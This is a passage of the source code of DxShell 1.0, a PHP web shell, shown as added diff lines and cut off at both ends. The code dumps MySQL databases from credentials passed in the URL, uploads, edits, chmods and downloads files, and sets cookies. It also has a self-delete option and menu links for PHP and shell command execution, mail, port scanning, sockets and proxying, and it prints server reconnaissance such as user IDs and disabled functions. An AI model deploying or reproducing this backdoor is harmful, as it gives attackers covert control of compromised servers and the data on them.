die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_q\'] needed')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + /* export as csv */ + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']='Query_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.csv'; + $DxDOWNLOAD_File['headers'][]=('Content-type: text/comma-separated-values'); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";'); + $DxDOWNLOAD_File['content']=''; + + $_POST['dxsql_q']=explode(';',$_POST['dxsql_q']); + + for ($q=0;$q<count($_POST['dxsql_q']);$q++) + { if (empty($_POST['dxsql_q'][$q])) continue; + $num=DxMySQL_FetchResult(DxMySQLQ($_POST['dxsql_q'][$q], false), $DUMP, false); + $DxDOWNLOAD_File['content'].="\n\n".'QUERY: '.str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $_POST['dxsql_q'][$q] )).";"; + if ($num<=0) {$DxDOWNLOAD_File['content'].="\n".'Empty;'; continue;} + foreach ($DUMP[0] as $key => $val) $DxDOWNLOAD_File['content'].=$key.";"; /* headers */ + for ($l=0;$l<count($DUMP);$l++) + { $DxDOWNLOAD_File['content'].="\n"; + $INDEXES=array_keys($DUMP[$l]); + for ($i=0; $i<count($INDEXES); $i++) + $DxDOWNLOAD_File['content'].=str_replace(array("\n",";"), array('',"<-COMMA->"), str_replace("\r",'', $DUMP[$l][ $INDEXES[$i] ])).";"; + + } + } + } + +if ($_GET['dxmode']=='SQLD' AND isset($_POST['dxsql_tables'])) + { if (!isset($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'],$_GET['dxsql_d'],$_POST['dxsql_tables'])) + die(DxError('Not enough params: $_GET[\'dxsql_s\'],$_GET[\'dxsql_l\'],$_GET[\'dxsql_p\'],$_GET[\'dxsql_d\'],$_POST[\'dxsql_tables\'] needed')); + + if ((mysql_connect($_GET['dxsql_s'],$_GET['dxsql_l'],$_GET['dxsql_p'])===FALSE) or (mysql_errno()!=0)) + die(DxError('No connection to mysql server!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + if (!mysql_select_db($_GET['dxsql_d'])) + die(DxError('Can\'t select database!'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error())); + + if (empty($_POST['dxsql_tables'])) die(DxError('No tables selected...')); + + $DxDOWNLOAD_File=array(); /* prepare struct */ + $DxDOWNLOAD_File['filename']='Dump_'.$_GET['dxsql_s'].'_'.$_GET['dxsql_d'].'.sql'; + $DxDOWNLOAD_File['headers'][]=('Content-type: text/plain'); + $DxDOWNLOAD_File['headers'][]=('Content-disposition: attachment; filename="'.$DxDOWNLOAD_File['filename'].'";'); + $DxDOWNLOAD_File['content']=''; + + $DxDOWNLOAD_File['content'].="\n\t".'/* '.str_repeat('=', 66); + $DxDOWNLOAD_File['content'].="\n\t".'==== MySQL Dump '.DxDate(time()).' - DxShell v'.$GLOB['SHELL']['Ver'].' by o_O Tync'; + $DxDOWNLOAD_File['content'].="\n\t".'==== Server: '.$_GET['dxsql_s']; + $DxDOWNLOAD_File['content'].="\n\t".'==== DB: '.$_GET['dxsql_d']; + $DxDOWNLOAD_File['content'].="\n\t".'==== Tables: '."\n\t\t\t".implode(', '."\n\t\t\t", $_POST['dxsql_tables']); + $DxDOWNLOAD_File['content'].="\n\t".str_repeat('=', 66).' */'; + + if (!empty($_POST['dxsql_q'])) + { $_POST['dxsql_q']=explode(';', $_POST['dxsql_q']); + foreach ($_POST['dxsql_q'] as $CUR) + if (empty($CUR)) continue; else DxMySQLQ($CUR, true); /* pre-query */ + } + + foreach ($_POST['dxsql_tables'] as $CUR_TABLE) + { $DxDOWNLOAD_File['content'].=str_repeat("\n", 5).'/* '.str_repeat('-', 40).' */'; + DxMySQL_FetchResult(DxMySQLQ('SHOW CREATE TABLE `'.$CUR_TABLE.'`;', false), $DUMP, true); + $DxDOWNLOAD_File['content'].="\n".$DUMP[0][1]; + $DxDOWNLOAD_File['content'].="\n\n"; + DxMySQL_FetchResult(DxMySQLQ('SELECT * FROM `'.$CUR_TABLE.'`;', false), $DUMP, true); + for ($i=0; $i<count($DUMP); $i++) + { + for ($j=0;$j<count($DUMP[$i]);$j++) $DUMP[$i][$j]=mysql_real_escape_string($DUMP[$i][$j]); + $DxDOWNLOAD_File['content'].="\n".'INSERT INTO `'.$CUR_TABLE.'` VALUES ("'.implode('", "', $DUMP[$i]).'");'; + } + } + } + +if ($_GET['dxmode']=='COOK' AND isset($_POST['dxparam'])) + { foreach ($_POST['dxparam'] as $name => $val) + { if ($name=='DXS_NEWCOOK') + { + if (empty($val['NAM']) or empty($val['VAL'])) continue; DxSetCookie($val['NAM'], $val['VAL'], time()+60*60*24*10); + } + else DxSetCookie($name, $val, (empty($val))?1:(time()+60*60*24*10)); + } + DxGotoURL(DxURL('leave', 'dxmode')); + die(); + } + +if (isset($_GET['dxinstant'])) + { $_GET['dxinstant']=strtoupper($_GET['dxinstant']); + if ($_GET['dxinstant']=='DEL') + { + $ok=@unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + print '<script>window.alert("SELF '.( ($ok)?'deleted. Reload the page to believe me =)':'tried to delete but was unsuccessful' ).'");</script>'; + } + } + +function DxObGZ($s) {return gzencode($s);} + +if (isset($DxDOWNLOAD_File)) + {/* File downloader for everything */ + if (!$DXGLOBALSHIT) + { + if ($GLOB['SYS']['GZIP']['CanOutput']) + { + ini_set('output_buffering',4096); + ob_start("DxObGZ"); + header('Content-Encoding: gzip'); + } for ($i=0; $i<count($DxDOWNLOAD_File['headers']); $i++) header($DxDOWNLOAD_File['headers'][$i]); + print $DxDOWNLOAD_File['content']; + die(); + } + /* if u want to download file when $DXGLOBALSHIT, scroll down */ + } + +################################################################################### +####################++++++++++++++# M A I N #++++++++++++++++++#################### +################################################################################### +if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die(DxError('Unknown $_GET[\'dxmode\']! check $GLOB[\'DxMODES\'] array')); + +######## +######## Main HAT (blackhat? =))) ) +######## +if (!in_array($_GET['dxmode'], array_keys($GLOB['DxMODES']))) die('Unknown $_GET[\'dxmode\']'); + +if ($DXGLOBALSHIT) + print str_repeat("\n", 20).'<!--SHELL HERE-->'; +?> +<html><head><title><?=$_SERVER['HTTP_HOST'];?> --= DxShell 1.0 - by o_O Tync =-- :: <?=$GLOB['DxMODES'][$_GET['dxmode']];?></title> +<Meta Http-equiv="Content-Type" Content="text/html; Charset=windows-1251"> +<link rel="shortcut icon" href="<?=DxURL('kill','dxmode');?>&dxmode=IMG&dximg=DxS"> +<http://leet.phpnet.us/sh.gif> +<style> +img {border-width:0pt;} +body, td {font-size: 10pt; color: #00B000; background-color: #000000; font-family: Arial;padding:2pt;margin:2pt; vertical-align:top;} +h1 {font-size: 14pt; color: #00B000; background-color: #002000; font-family: Arial Black; font-weight: bold; text-align: center;} +h2 {font-size: 12pt; color: #00B000; background-color: #002000; font-family: Courier New; text-align: center;} +h3 {font-size: 12pt; color: #F0F000; background-color: #002000; font-family: Times New Roman; text-align: center;} +caption {font-size: 12pt; color: #00FF00; background-color: #000000; font-family: Times New Roman; text-align:center; border-width: 1pt 3pt 1pt 3pt;border-color:#FFFF00;border-style:solid solid dotted solid;padding: 5pt 0pt;} +td.h2_oneline {font-size: 12pt; color: #00B000; font-family: Courier New; text-align: center;background-color: #002000; border-right-color:#00FF00;border-right-width:1pt;border-right-style:solid;vertical-align:middle;} +td.mode_header {font-size: 16pt; color: #FFFF00; font-family: Courier New; text-align: center;background-color: #002000; vertical-align:middle;} +table.outset, td.outset {border-width:3pt; border-style:outset; border-color: #004000;margin-top: 2pt;vertical-align:middle;} +table.bord, td.bord, fieldset {border-width:1pt; border-style:solid; border-color: #003000;vertical-align:middle;} +hr {border-width:1pt; border-style:solid; border-color: #005000; text-align: center; width: 90%;} +textarea.bout {border-color: #000000; border-width:0pt; background: #000000; font: 12px verdana, arial, helvetica, sans-serif; color: #00FF00; Scrollbar-Face-color:#000000;Scrollbar-Track-Color: #000000;} +td.listing {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:top;} +td.linelisting {background-color: #000500; font-family: Courier New; font-size:8pt; color:#00B000; border-color: #003000;border-width:1pt 0pt; border-style:solid; border-collapse:collapse;padding:0pt 3pt;vertical-align:middle;} +table.linelisting {border-color: #003000;border-width:0pt 1pt; border-style:solid;} +td.js_floatwin_header {background-color:#003300;font-size:10pt;font-weight:bold;color:#FFFF00;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;} +td.js_floatwin_body {background-color:#000000;font-size:10pt;color:#00B000;border-color: #00FF00;border-width:1pt; border-style:solid;border-collapse:collapse;} +font.rwx_sticky_bit {color:#FF0000;} +.highlight_txt {color: #FFFF00;} +.achtung {color: #000000; background-color: #FF0000; font-family: Arial Black; font-size: 14pt; padding:0pt 5pt;} + +input {font-size: 10pt;font-family: Arial; color: #E0E000; background-color: #000000; border-color:#00FF00 #005000 #005000 #FFFF00; border-width:1pt 1pt 1pt 3pt;border-style:dotted dotted dotted solid; padding-left: 3pt;overflow:hidden;} +input.radio {border-width:0pt;color: #FFFF00;} +input.submit {font-size: 12pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #002000; border-color: #00FF00; border-width:0pt 1pt 1pt 0pt; border-style: solid; padding:1pt;letter-spacing:1pt;padding:0pt 2pt;} +input.bt_Yes {font-size: 14pt;font-family: Impact, Arial Black; color :#00FF00; background-color: #005000; border-color: #005000 #005000 #00FF00 #005000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;} +input.bt_No {font-size: 14pt;font-family: Impact, Arial Black; color :#FF0000; background-color: #500000; border-color: #500000 #500000 #FF0000 #500000; border-width:1pt 1pt 2pt 1pt; border-style: dotted dotted solid dotted; height: 30pt; padding:10pt; margin: 5pt 10pt;} +input.bt_Yes:Hover {color:#000000; background-color:#00FF00;border-bottom-color:#FFFFFF;} +input.bt_No:Hover {color:#000000; background-color:#FF0000;border-bottom-color:#FFFFFF;} +textarea {color:#00FF00; background-color:#001000;border-color:#000000;border-width:0pt;border-style:solid;font-size:10pt;font-family:Arial;Padding:5pt; + Scrollbar-Face-Color: #00FF00; Scrollbar-Track-Color: #000500; + Scrollbar-Highlight-Color: #00A000; Scrollbar-3dlight-Color: #00A000; Scrollbar-Shadow-Color: #005000; + Scrollbar-Darkshadow-Color: #005000;} +select {background-color:#001000;color:#00D000;border-color:#D0D000;border-width:1pt;border-style:solid dotted dotted solid;} + +A:Link, A:Visited { color: #00D000; text-decoration: underline; } +A.no:Link, A.no:Visited { color: #00D000; text-decoration: none; } +A:Hover, A:Visited:Hover , A.no:Hover, A.no:Visited:Hover { color: #00FF00; background-color:#003300; text-decoration: overline; } +.Hover:Hover {color: #FFFF00; cursor:help;} +.HoverClick:Hover {color: #FFFF00; cursor:crosshair;} +span.margin {margin: 0pt 10pt;} +td.error {color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;} +td.warning {color:#000000; background-color: #D00000; font-size: 11pt;} +font.img_replacer {margin:1pt;padding:1pt;text-decoration: none;border-width:1pt;border-color:#D0D000;border-style:solid;} +</style> + +<?php +if (in_array($_GET['dxmode'], array('UPL', 'DIR', 'PRT'))) + { /* THIS FLOATING WINDOW IS ONLY SET FOR MODES: */?> +<SCRIPT> +var dom = document.getElementById?1:0; +var ie4 = document.all && document.all.item; +var opera = window.opera; //Opera +var ie5 = dom && ie4 && !opera; +var nn4 = document.layers; +var nn6 = dom && !ie5 && !opera; +var vers=parseInt(navigator.appVersion); +var good_browser = (ie5 || ie4); +function showwin(hdr,txt,w,vis) +{ +if(good_browser) + { + var obj = document.all('js_floatwin'); + var evnt = event; + var xOffset = document.body.scrollLeft; + var yOffset = document.body.scrollTop; + + var temp = + "<TABLE BORDER=0 CELLSPACING=0 CELLPADDING=0 WIDTH="+ w +">" + +((hdr!='')?("<TR><TD class=js_floatwin_header>"+ hdr + "</TD></TR>"):"") + +"<TR><TD class=js_floatwin_body>" + txt + "</TD></TR>" + +"</TABLE>"; + + if (vis == 1) + { + obj.innerHTML = temp; + obj.style.width = w; + hor = document.body.scrollWidth - obj.offsetWidth; + posHor = xOffset + evnt.clientX + 10; + posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5; + posVer = yOffset + evnt.clientY - obj.offsetHeight - 5; + + if (posHor<hor) + obj.style.posLeft = posHor + else + obj.style.posLeft = posHor2; + + obj.style.posTop = posVer; + + obj.style.visibility = "visible"; + } + else + { + obj.style.visibility = "hidden"; + obj.style.posTop = 0; + obj.style.posLeft = 0; + } + } +} +function movewin() +{ +if (good_browser) + { + var obj = document.all('js_floatwin'); + var evnt = event; + var xOffset = document.body.scrollLeft; + var yOffset = document.body.scrollTop; + + hor = document.body.scrollWidth - obj.offsetWidth; + posHor = xOffset + evnt.clientX + 10; + posHor2 = xOffset + evnt.clientX - obj.offsetWidth - 5; + posVer = yOffset + evnt.clientY - obj.offsetHeight - 5; + + if (posHor<hor) + obj.style.posLeft = posHor + else + obj.style.posLeft = posHor2; + + obj.style.posTop = posVer; + } +} +</SCRIPT> +<?php } /* /END */?> + +</head> +<body> +<?php +if ($DXGLOBALSHIT) /* tries to kill all the fucking bug.php pre-output, if ob_clean() failed */ + { print str_repeat("\n", 10).'<!--SHIT KILLER-->'; + print "\n".'</body></a>'.str_repeat('</table>', 5).str_repeat('</div>', 5).str_repeat('</span>', 5).str_repeat('</pre>', 1).str_repeat('</font>', 5).str_repeat('</script>', 2); + print "\n".'<TABLE WIDTH=100% BORDER=0 style="position:absolute;z-index:100;top:0pt;left:0pt;width:100%;height:100%;"><tr><td>'; + print "\n\n\n\n"; + } +?> + +<div id="js_floatwin" style="z-index:50;position:absolute;left:0;top:0;visibility:hidden"></div> +<table width=100% cellspacing=0 cellpadding=0 class=outset> +<tr> + <td width=100pt class=h2_oneline><a href="<?=DxURL('kill', '');?>&dxmode=WTF" class=no><h1>DxShell<br>v<?=$GLOB['SHELL']['Ver'];?></td> + <td> +<?php +print "\n".'<div style="margin-right:'.( ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2)?'100':'30' ).'pt;">'; +print "\n".( ($DXGLOBALSHIT)?'<font color=#FF0000><b>GLOBALSHIT</b></font> ; ':'' ); +print "\n".DxPrint_ParamState('php_ver', phpversion() ).' ; '; +print "\n".DxPrint_ParamState('php_Safe_Mode', $GLOB['PHP']['SafeMode'], '!' ).' ; '; +print "\n".DxPrint_ParamState('magic_quotes', (bool)get_magic_quotes_gpc(), '!' ).' ; '; +print "\n".DxPrint_ParamState('gZip', function_exists('gzencode') ).' ; '; +print "\n".DxPrint_ParamState('cURL', function_exists('curl_version') ).' ; '; +print "\n".DxPrint_ParamState('MySQL', function_exists('mysql_connect') ).' ; '; +print "\n".DxPrint_ParamState('MsSQL', function_exists('mssql_connect') ).' ; '; +print "\n".DxPrint_ParamState('PostgreSQL', function_exists('pg_connect') ).' ; '; +print "\n".DxPrint_ParamState('Oracle', function_exists('ocilogon') ).' ; '; +print "\n".'Disabled functions: '.((($df=@ini_get('disable_functions'))=='')?'<font color=#00FF00><b>NONE</b></font>':'<font color=#FF0000><b>'.str_replace(array(',',';'), ', ', $df).'</b></font>'); +print "\n".'</div>'; + +print "\n\n".'<span align=right style="position:absolute;z-index:1;right:0pt;top:0pt;"><table><tr><td class="h2_oneline"><nobr>'; +if ((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2) + print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=logoff" title="Log Off" class=no>[Exit]</a>'; +print "\n".'<a href="'.DxURL('kill', 'dxinstant').'&dxinstant=DEL" title="Delete self ('.basename($_SERVER['PHP_SELF']).')" class=no><font color=#FF0000;>'.DxImg('del').'</font></a>'; +print "\n".'</nobr></td></tr></table></span>'; + +print "\n\n".'<hr>'; +print "\n".'Disk free: <b>'.DxStr_FmtFileSize(disk_free_space($GLOB['FILES']['CurDIR'])).' / '.DxStr_FmtFileSize(disk_total_space($GLOB['FILES']['CurDIR'])).'</b> ; '; +print "\n".'OS: <b>'.$GLOB['SYS']['OS']['id'].' ('.$GLOB['SYS']['OS']['Full'].' )</b> ; '; +print "\n".'Yer_IP: <b>'.@$_SERVER['REMOTE_ADDR'].' ('.@$_SERVER['REMOTE_HOST'].')</b> ; '; +print "\n".'<nobr>Own/U/G/Pid/Inode:<wbr><b>'.get_current_user().' / '.getmyuid().' / '.getmygid().' / '.getmypid().' / '.getmyinode().'</b> ; </nobr>'; +print "\n".'MySQL : <b>'.@mysql_get_server_info().'</b> ; '; +print "\n".'<br>'.@$_SERVER['SERVER_SOFTWARE']; +?> + </td> +</table> +<table width=100% cellspacing=0 cellpadding=0 class=outset> +<tr> + <td width=100pt class=h2_oneline><h2>Modes</td> + <td style="text-align:center;"><nobr> + <a href="<?=DxURL('kill', '');?>&dxmode=DIR">DIR</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=F_VIEW">VIEW</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=FTP<?=((!empty($_GET['dxdir']))?'&dxdir='.$_GET['dxdir']:'');?>">FTP</a> + <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr> + <a href="<?=DxURL('leave', 'dxsql_s,dxsql_l,dxsql_p,dxsql_d');?>&dxmode=SQL">SQL</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PHP">PHP</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=COOK">COOKIE</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=CMD">CMD</a> + <td><font class=highlight_txt><big><b>II</td><td style="text-align:center;"><nobr> + <a href="<?=DxURL('kill', '');?>&dxmode=MAIL">MAIL</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=STR">STR</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PRT">PORTSCAN</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=SOCK">SOCK</a> | + <a href="<?=DxURL('kill', '');?>&dxmode=PROX">PROXY</a> + </td> + </tr> +</table> + +<?php $DX_Header_drawn=true; ?> + +<?php +################################################# +######## +######## DXGLOBALSHIT DOWNLOADER +######## +if (isset($DxDOWNLOAD_File)) /* only when DXGLOBALSHIT is enabled */ + { print "\n".'<table align=center><tr><td class=mode_header><b>Download file</td></tr></table>'; + print "\n".'The fact you see this means that "'.basename($_SERVER['PHP_SELF']).'" has fucked up the output with it\'s shit, so no headerz could be sent =(('; + print "\n".'<br>Exclusively, DxShell is proud to present an additional way to download files...Just execute the php-script given below, and it will make the file u\'re trying to download'; + + if ($GLOB['SYS']['GZIP']['CanUse']) $DxDOWNLOAD_File['content']=gzcompress($DxDOWNLOAD_File['content'], 6); + + print "\n\n".'<br><br>'; + print "\n".'<textarea rows=30 style="width:90%" align=center>'; + print "\n".'<?php'."\n".' //Execute this, and you\'ll get the requested "'.$DxDOWNLOAD_File['filename'].'" in the same folder with the script ;)'; + print "\n".'// The file is '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzcompress()ed and':'' ).' base64_encode()ed'; + print "\n\n".'$encoded_file=\''.base64_encode($DxDOWNLOAD_File['content']).'\';'; + print "\n\n\n\n"; + print "\n".'$f=fopen(\''.$DxDOWNLOAD_File['filename'].'\', \'w\');'; + print "\n".'fputs($f, '.( ($GLOB['SYS']['GZIP']['CanUse'])?'gzuncompress(base64_decode($encoded_file))':'base64_decode($encoded_file)' ).');'; + print "\n".'fclose($f);'; + print "\n".'//Yahoo, hacker, the file is here =)'; + print "\n".'?>'; + print "\n".'</textarea>'; + die(); + } + +?> + +<table align=center> + <tr><td class=mode_header> + @MODE: <b><?=$GLOB['DxMODES'][$_GET['dxmode']];?> + </td></tr></table> +<? + +######## +######## AboutBox +######## +if ($_GET['dxmode']=='WTF') + { + ?> +<table align=center class=nooooneblya><tr><td><div align=center> +<?php +print '<a href="http://hellknights.void.ru/">'.DxImg('exec').'</a>'; +print '<br>o_O Tync, ICQ# 244-648'; +?><br><br> +<textarea name="LolBox" class=bout style="width:500pt; height:500pt;"></textarea></table> +<SCRIPT language=Javascript><!-- +var tl=new Array( +"Kilobytes of c0de, litres of beer, kilometers of cigarettes (*no drugs*), and for what purpose?", +"What's wrong with other shells?", +"Usability, functionality, bugs?... NO.", +"The main bug is: these shells ARE NOT mine =)", +"Just like to be responsible for every motherfucking byte of code.", +"Enjoy!", +"-----------------------------------", +"o_O Tync, http://hellknights.void.ru/, ICQ#244648", +"DxShell v<?=$GLOB['SHELL']['Ver'].', date '.$GLOB['SHELL']['Date'];?>", +"", +"Greetz to: ", +"iNfantry the Ruler", +"Nik8 the Hekker", +"_1nf3ct0r_ the Father", +"Industry of Death the betatest0r =)", +"", +"Thanks to:", +"Dunhill the cigarettes, Tuborg the beer, PHP the language, Nescafe the Coffee, Psychedelic the Music", +"", +"Wartime testers & debuggers ::: =))) :::", +"MINDGROW", +"", +"", +"Hekk da pl0net!", +"--- EOF ---" +); +var speed=40;var index=0; text_pos=0;var str_length=tl[0].length;var contents, row; +function type_text() +{contents='';row=Math.max(0,index-50); +while(row<index) contents += tl[row++] + '\r\n'; +document.getElementById("LolBox").value = contents + tl[index].substring(0,text_pos)+'|'; +if(text_pos++==str_length) + {text_pos=0;index++; + if(index!=tl.length) + {str_length=tl[index].length;setTimeout("type_text()",1000); + } + } else setTimeout("type_text()",speed); +}type_text(); +//--> +</SCRIPT> + <?php + } + + + ################################### + +######## +######## Upload file +######## +if ($_GET['dxmode']=='UPL') + { + if (empty($_POST['dxdir']) AND empty($_GET['dxdir'])) die(DxError('Uploading without selecting directory $_POST/$_GET[\'dxdir\'] is restricted')); + + if (isset($_FILES['dx_uplfile']['tmp_name'])) + { + $GETFILE=file_get_contents($_FILES['dx_uplfile']['tmp_name']); + DxFiles_UploadHere($_POST['DxFTP_FileTO'], $_FILES['dx_uplfile']['name'], $GETFILE); + } + else + { + print "\n".'<form action="'.DxURL('leave','dxmode,dxsimple').'" enctype="multipart/form-data" method=POST>'; + print "\n".'<input type="hidden" name="MAX_FILE_SIZE" value="'.$GLOB['PHP']['upload_max_filesize'].'">'; + print "\n".'<font class="highlight_txt">Max: '.DxStr_FmtFileSize($GLOB['PHP']['upload_max_filesize']).'</font>'; + print "\n".'<br><input type=text name="dxdir" value="'.$_GET['dxdir'].'" SIZE=50>'; + print "\n".'<br><input type=file name="dx_uplfile" SIZE=50>'; + print "\n".'<input type=submit value="Upload" class="submit"></form>'; + } + } + + ################################### + +######## +######## Directory listings +######## +if ($_GET['dxmode']=='DIR') + { + if (empty($_GET['dxdir'])) $_GET['dxdir']=realpath($GLOB['FILES']['CurDIR']); + $_GET['dxdir']=DxFileOkaySlashes($_GET['dxdir']); + if (substr($_GET['dxdir'], -1,1)!='/') $_GET['dxdir'].='/'; + + print "\n".'<br><form action="'.DxURL('kill', '').'" method=GET style="display:inline;">'; + DxGETinForm('leave', 'dxmode'); + print "\n".'<input type=text name="dxdir" value="'.DxFileOkaySlashes(realpath($_GET['dxdir'])).'" SIZE=40>'; + print "\n".'<input type=submit value="Goto" class="submit"></form>'; + + print "\n".'<br>'.'<b>&gt;&gt; <b>'.$_GET['dxdir'].'</b>'; + if (!file_exists($_GET['dxdir'])) die(DxError('No such directory')); + if (!is_dir($_GET['dxdir'])) die(DxError('It\'s a file!! What do you think about listing files in a file? =)) ')); + + if (isset($_GET['dxparam'])) + { if ($_GET['dxparam']=='mkDIR') if ( !mkdir($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkDir. Perms?'); + if ($_GET['dxparam']=='mkFILE') if ( !touch($_GET['dxdir'].'__DxS_NEWDIR__'.DxRandomChars(3)) ) DxError('Unable to mkFile. Perms?'); + } + + if (!($dir_ptr=opendir($_GET['dxdir']))) die(DxError('Unable to open dir for reading. Perms?...')); + $FILES=array('DIRS' => array(), 'FILES' => array()); + while (!is_bool( $file = readdir($dir_ptr) ) ) + if (($file!='.') and ($file!='..')) if (is_dir($_GET['dxdir'].$file)) $FILES['DIRS'][]=$file; else $FILES['FILES'][]=$file; + asort($FILES['DIRS']);asort($FILES['FILES']); + + print "\n".'<span style="position:absolute;right:0pt;">'; + if (isset($_GET['dxdirsimple'])) print '<a href="'.DxURL('kill', 'dxdirsimple').'">[Switch to FULL]</a>'; + else print '<a href="'.DxURL('leave', '').'&dxdirsimple=1">[Switch to LITE]</a>'; + print '</span>'; + + $folderup_link=explode('/',$_GET['dxdir'].'../'); + if (!empty($folderup_link[ count($folderup_link)-3 ]) AND ($folderup_link[ count($folderup_link)-3 ]!='..')) + unset($folderup_link[ count($folderup_link)-3 ], $folderup_link[ count($folderup_link)-1 ]); + $folderup_link=implode('/', $folderup_link); + print "\n".str_repeat('&nbsp;',3).'<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.$folderup_link.'" class=no>' + .DxImg('foldup').' ../</a>'; + + print "\n".str_repeat('&nbsp;', 15).'<font class=highlight_txt>MAKE: </font>' + .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkDIR">Dir</a>' + .' / ' + .'<a href="'.DxURL('leave', 'dxmode,dxdir,dxdirsimple').'&dxparam=mkFILE">File</a>' + .' / '.str_repeat('&nbsp;',5) + .'<font class=highlight_txt>UPLOAD: </font>' + .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">Form</a>' + .' / ' + .'<a href="'.DxURL('leave', 'dxdirsimple').'&dxdir='.DxFileToUrl($_GET['dxdir']).'&dxmode=UPL">FTP</a>' + ; + + print "\n".'<br>'.count($FILES['DIRS']).' dirs, '.count($FILES['FILES']).' files '; + print "\n".'<table border=0 cellspacing=0 cellpadding=0 ><COL span=15 class="linelisting">'; + for ($NOWi=0;$NOWi<=1;$NOWi++) + for ($NOW=($NOWi==0)?'DIRS':'FILES', $i=0;$i<count($FILES[$NOW]);$i++) + { $cur=&$FILES[$NOW][$i]; + $dircur=$_GET['dxdir'].$cur; + print "\n".'<tr>'; + print "\n\t".'<td class=linelisting '.((isset($_GET['dxdirsimple']) AND ($NOW=='DIRS'))?'colspan=2':'').'>' + .(($NOW=='DIRS')?DxImg('folder').' ' + . '<a href="'.DxURL('leave', 'dxdirsimple').'&dxmode=DIR&dxdir='.DxFileToUrl($dircur).'" class=no>':'') + .(($NOW=='FILES')?'<a href="'.DxURL('kill', '').'&dxmode=F_VIEW&dxfile='.DxFileToUrl($dircur).'" class=no>':'') + .htmlspecialchars($cur).'</td>'; + + if (!isset($_GET['dxdirsimple'])) + { + print "\n\t".'<td class=linelisting>' + .'<span '.DxDesign_DrawBubbleBox('File Info', '<b>Create time:</b><br>'.DxDate(@filectime($dircur)).'<br>' + .'<b>Modify time:</b><br>'. DxDate(@filemtime($dircur)).'<br>' + .'<b>Owner/Group:</b><br>'.(@fileowner($dircur)).' / '.(@filegroup($dircur)) + , 150).' class=Hover><b>INFO</span> </td>'; + print "\n\t".'<td class=linelisting '.(($NOW=='DIRS')?'colspan=2':'').'>' + .((($i+$NOWi)==0)?'<span '.DxDesign_DrawBubbleBox('Perms legend', '1st: sticky bit:<br>"<b>S</b>" Socket, "<b>L</b>" Symbolic Link, "<b>&lt;empty&gt;</b>" Regular, "<b>B</b>" Block special, "<b>D</b>" Directory, "<b>C</b>" Character special, "<b>P</b>" FIFO Pipe, "<b>?</b>" Unknown<br>Others: Owner/Group/World<br>"<b>r</b>" Read, "<b>w</b>" Write, "<b>x</b>" Execute<br><br><b>Click to CHMOD', 400).' class=Hover>':'') + .'<a href="'.DxURL('kill', '').'&dxmode=F_CHM&dxfile='.DxFileToUrl($dircur).'" class=no>'.DxChmod_Oct2Str(@fileperms($dircur)).'</td>'; + } + + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting style="text-align:right;">'.DxStr_FmtFileSize(@filesize($dircur)).'</td>'; + + if (!isset($_GET['dxdirsimple'])) + { + if ($NOW=='DIRS') print "\n\t".'<td class=linelisting colspan='.(($GLOB['SYS']['GZIP']['IMG'])?'4':'3').'>&nbsp;</td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxparam=SRC&dxfile='.DxFileToUrl($dircur).'" target=_blank>'.DxImg('view').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_ED&dxfile='.DxFileToUrl($dircur).'">'.DxImg('ed').'</a></td>'; + if ($NOW!='DIRS') print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', '').'&dxmode=F_DWN&dxfile='.DxFileToUrl($dircur).'">'.DxImg('downl').'</a></td>'; + if (($NOW!='DIRS') AND ($GLOB['SYS']['GZIP']['IMG'])) print "\n\t".'<td class=linelisting><a href="'.DxURL('kill', 